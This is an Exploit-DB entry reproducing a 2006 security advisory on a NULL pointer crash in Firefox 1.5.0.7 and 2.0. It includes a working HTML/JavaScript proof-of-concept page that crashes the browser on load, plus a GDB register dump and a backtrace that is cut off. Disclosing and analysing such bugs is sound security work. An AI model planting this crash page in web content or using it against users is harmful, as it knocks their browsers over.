Exploit-DB #2695
Description: Mozilla Firefox 1.5.0.7/2.0 - 'createRange' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-10-31
Author: Gotfault Security

Exploit:
<!--
------------------------------------------------- 
Gotfault Security - Advisory #05 - 27/10/06 
------------------------------------------------- 
Software   : Firefox
Homepage   : http://www.mozilla.com/
Vulnerable : 1.5.0.7 and below, 2.0
Risk       : Moderate
Impact     : Denial of Services (Code execution not verified)
-------------------------------------------------
DESCRIPTION
-------------------------------------------------
Mozilla Firefox is prone to a D.O.S within its javascript Range object. In a
special condition, a NULL Pointer Deference occur and Firefox crashes.
From DOM MDC:

"The Range object represents a fragment of a document that can contain nodes 
and parts of text nodes in a given document."

A Range object can be initialized using the selectNode method, that selects a
node to be inserted within a Range. A Range can also be used to create document
fragments using the createContextualFragment method. Below is an example of
using such a method, from DOM MDC:

var tagString = "<div>I am a div node</div>";
var range = document.createRange();
range.selectNode(document.getElementsByTagName("div").item(0));
var documentFragment = range.createContextualFragment(tagString);
document.body.appendChild(documentFragment);

As can be seen, a range is created using the createRange document method and
then is initialized using the selectNode method against some element within
the current document. At this point createContextualFragment can be used to
create document fragments, that can be inserted into the document.
Mozilla Firefox does not proper handle when a DOCUMENT_TYPE_NODE (<!DOCTYPE...)
element is passed to selectNode method and trigger a NULL Pointer deference 
when calling createContextualFragment method. 

-------------------------------------------------
POC
-------------------------------------------------

This POC code crashes Mozilla Firefox:

--- snip ---
-->

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
 <head>
  <script type="text/javascript">
   function do_crash()
   {
    var range;
    range = document.createRange();
    range.selectNode(document.firstChild);
    range.createContextualFragment('<span></span>');
   }
  </script>
 </head>
 <body onload="do_crash()">
  <p>Good bye Firefox!</p>
 </body>
</html>

<!--
--- snip ---

-------------------------------------------------
POC details
-------------------------------------------------

In [1], we use the selectNode method agains document.firstNode, that in
this case is <!DOCTYPE ...> node. Then we use createContextualFragment
and Firefox crashes.

-------------------------------------------------
GDB session
-------------------------------------------------

Following is the GDB session registered in the crash moment, tested
agains Firefox 2.0 official release:

--- snip ---

barros@zaphod:~$ gdb /usr/lib/firefox/firefox-bin -q
(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) at 16000
Attaching to program: /usr/lib/firefox-2.0RC3/firefox-bin, process 16000
...
...
0xb7502ce3 in poll () from /lib/tls/libc.so.6
(gdb) c
Continuing.
[Thread [PII_REDACTED] (LWP 16003) exited]
[Thread [PII_REDACTED] (LWP 16010) exited]
[New Thread [PII_REDACTED] (LWP 16018)]
[New Thread [PII_REDACTED] (LWP 16019)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread [PII_REDACTED] (LWP 16000)]
0x081d98ee in nsWritingIterator<unsigned short>::advance ()
(gdb) i r
eax            0x0      0
ecx            0x2cec7263       753693283
edx            0x95b55b8        156980664
ebx            0x1      1
esp            0xbf89f334       0xbf89f334
ebp            0xbf89f5b8       0xbf89f5b8
esi            0x0      0
edi            0x1      1
eip            0x81d98ee        0x81d98ee
eflags         0x10246  66118
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) bt
#0  0x081d98ee in nsWritingIterator<unsigned short>::advance ()
#1  0x083b4d8f in nsReadingIterator<unsigned short>::advance ()
#2  0xb7ed339b in XPTC_InvokeByIndex () from /usr/lib/firefox/libxpcom_core.so
#3  0x080a6960 in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#4  0x080ac53a in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#5  0xb7f2fed6 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#6  0xb7f3480d in js_Interpret () from /usr/lib/firefox/libmozjs.so
#7  0xb7f2ff91 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#8  0xb7f30374 in js_InternalInvoke () from /usr/lib/firefox/libmozjs.so
#9  0xb7f0d854 in JS_CallFunctionValue () from /usr/lib/firefox/libmozjs.so
#10 0x0843dbb7 in nsReadingIterator<unsigned short>::advance ()
#11 0x0846b6d9 in nsReadingIterator<unsigned short>::advance ()
#12 0x083c9724 in nsReadingIterator<unsigned short>::advance ()
#13 0x083c9b4b in nsReadingIterator<unsigned short>::advance ()
#14 0x08442204 in nsReadingIterator<unsigned short>::advance ()
#15 0x0826f4e7 in XmlInitUnknownEncodingNS ()
#16 0x085902fa in nsXPTCVariant::Init ()
#17 0x0856d6d8 in nsXPTCVariant::Init ()
#18 0x0859003b in nsXPTCVariant::Init ()
#19 0x08574845 in nsXPTCVariant::Init ()
#20 0x08573fb7 in nsXPTCVariant::Init ()
#21 0x08573f0e in nsXPTCVariant::Init ()
#22 0x08573cc7 in nsXPTCVariant::Init ()
#23 0x0812dc8c in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#24 0x08284255 in XmlInitUnknownEncodingNS ()
#25 0x08284002 in XmlInitUnknownEncodingNS ()
#26 0xb7ebe11f in PL_HandleEvent () from /usr/lib/firefox/libxpcom_core.so
#27 0xb7ebe072 in PL_ProcessPendingEvents ()
   from /usr/lib/firefox/libxpcom_core.so
#28 0xb7ebf69f in nsEventQueueImpl